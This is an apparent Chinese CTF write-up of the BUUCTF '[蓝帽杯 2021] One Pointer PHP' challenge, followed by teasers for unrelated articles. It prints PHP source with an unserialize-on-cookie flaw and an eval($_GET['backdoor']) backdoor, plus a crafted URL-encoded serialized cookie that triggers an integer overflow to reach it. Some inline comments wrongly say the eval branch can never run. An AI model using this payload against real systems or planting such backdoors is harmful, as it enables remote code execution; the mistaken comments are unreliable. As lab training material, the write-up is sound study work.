100 ,【8】 buuctf web [蓝帽杯 2021]One Pointer PHP(别看)

devtools/2025/2/8 0:36:08/

进入靶场

没提示,去看源代码。

user.php

php"><?php
// 定义一个名为 User 的类,该类可用于表示用户相关信息或执行与用户有关的操作
class User{// 声明一个公共属性 $count,可在类的内部和外部直接访问// 这个属性可能用于记录与用户相关的某种数量,比如用户的操作次数、用户拥有的物品数量等public $count;
}
?>

add_api.php 

php"><?php
// 包含 "user.php" 文件,该文件中可能定义了 User 类或其他相关代码
// 包含文件后,当前脚本就可以使用该文件中定义的类、函数、变量等
include "user.php";// 从 $_COOKIE 超全局数组中获取名为 "data" 的 cookie 值,并尝试对其进行反序列化操作
// 反序列化操作会将存储在 cookie 中的序列化对象恢复为 PHP 对象
// 如果反序列化成功,将结果赋值给 $user 变量,并进入 if 语句块
if($user = unserialize($_COOKIE["data"])){// 对 $user 对象的 count 属性进行自增操作,然后将 $count 数组的对应索引位置赋值为 1// 例如,如果 $user->count 初始值为 1,自增后为 2,那么 $count[2] = 1$count[++$user->count] = 1;// 这里存在语法错误,正确的应该是 if ($count[] = 1) 这种写法不符合正常逻辑// 可能本意是检查某个条件,但这样的赋值操作结果总是为 1(在 PHP 中赋值表达式的值为所赋的值),条件恒为真// 暂且按代码逻辑理解,若这个条件成立if($count[] = 1){// 将 $user 对象的 count 属性再加 1$user->count += 1;// 将更新后的 $user 对象进行序列化操作,将其转换为字符串形式// 然后使用 setcookie 函数将序列化后的字符串存储到名为 "data" 的 cookie 中setcookie("data", serialize($user));} else {// 如果上述条件不成立(实际上由于赋值操作,这里永远不会执行)// 使用 eval 函数执行从 GET 请求中获取的名为 "backdoor" 的参数值// 这是非常危险的操作,因为用户可以通过 GET 请求传入恶意代码,从而导致任意代码执行漏洞eval($_GET["backdoor"]);}
} else {// 如果反序列化失败,说明 cookie 中存储的数据不是有效的序列化对象或者 cookie 不存在// 创建一个新的 User 类的实例$user = new User;// 将新创建的 $user 对象的 count 属性初始化为 1$user->count = 1;// 将新创建的 $user 对象进行序列化操作,然后存储到名为 "data" 的 cookie 中setcookie("data", serialize($user));
}
?>

如下代码 

 给与了我们进行任意代码执行漏洞的条件

即设置count为9223372036854775806

php"><?phpclass User{public $count=9223372036854775806;}echo serialize(new User);
?>

O:4:"User":1:{s:5:"count";i:9223372036854775806;} 

忘记进行url编码了 

php"><?phpclass User{public $count=9223372036854775806;
}
echo urlencode(serialize(new User()));
?>

cookie 添加为以下内容

data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D 

大概这样改cookie 

到这块就需要蚁剑连接了,我的蚁剑有问题,最近还没好

先帝创业未半而开局崩殂 


http://www.ppmy.cn/devtools/156973.html

相关文章

VDN 微服务架构搭建篇(三)基于 Nacos 的 Spring Cloud Gateway 动态路由管理

VDN 微服务架构搭建篇&#xff08;三&#xff09;&#xff1a;基于 Nacos 的 Spring Cloud Gateway 动态路由管理 在微服务架构中&#xff0c;网关 是整个系统的入口&#xff0c;负责 流量管理、请求路由、安全控制等关键功能。 Spring Cloud Gateway 作为 Spring 生态官方推荐…

ES6 变量解构赋值总结

1. 数组的解构赋值 1.1 基本用法 // 基本数组解构 const [a, b, c] [1, 2, 3]; console.log(a); // 1 console.log(b); // 2 console.log(c); // 3// 跳过某些值 const [x, , y] [1, 2, 3]; console.log(x); // 1 console.log(y); // 3// 解构剩余元素 const [first, ...re…

音视频多媒体编解码器基础-codec

如果要从事编解码多媒体的工作&#xff0c;需要准备哪些更为基础的内容&#xff0c;这里帮你总结完。 因为数据类型不同所以编解码算法不同&#xff0c;分为图像、视频和音频三大类&#xff1b;因为流程不同&#xff0c;可以分为编码和解码两部分&#xff1b;因为编码器实现不…

25/2/6 <机器人基础> 运动学中各连杆的变换矩阵求法

变换矩阵 机器人通常包含多个关节和连杆&#xff0c;每个关节和连杆都有自己的局部坐标系。变换矩阵能够将一个点或向量从一个坐标系转换到另一个坐标系&#xff0c;从而实现对机器人各个部件位置和姿态的统一描述 变换矩阵能够将复杂的运动分解为旋转和平移的组合。通过矩阵乘…

2021.3.1的android studio版本就很好用

使用最新版的studio有个问题就是gradle版本也比较高&#xff0c;这样就容易出现之前项目不兼容问题&#xff0c;配置gradle可能会出现很多问题比较烦&#xff0c;所以干脆就用老版本的studio

langchain教程-2.prompt

前言 该系列教程的代码: https://github.com/shar-pen/Langchain-MiniTutorial 我主要参考 langchain 官方教程, 有选择性的记录了一下学习内容 这是教程清单 1.初试langchain2.prompt3.OutputParser/输出解析4.model/vllm模型部署和langchain调用5.DocumentLoader/多种文档…

【漫话机器学习系列】079.超参数调优(Hyperparameter Tuning)

超参数调优&#xff08;Hyperparameter Tuning&#xff09;是机器学习中优化模型性能的重要步骤之一。超参数是模型在训练之前设定的参数&#xff0c;而不是通过训练数据学习到的参数。正确地选择超参数可以显著提高模型的预测能力&#xff0c;反之&#xff0c;错误的超参数选择…

使用 CSS 实现透明效果

在 CSS 中&#xff0c;实现透明效果有几种方法&#xff0c;具体使用哪种方法取决于具体需求。以下是一些常见的方法&#xff1a; 使用 opacity 属性&#xff1a; opacity 属性可以设置整个元素的透明度&#xff0c;包括其所有的子元素。 .transparent { opacity: 0.5; /* 0 表…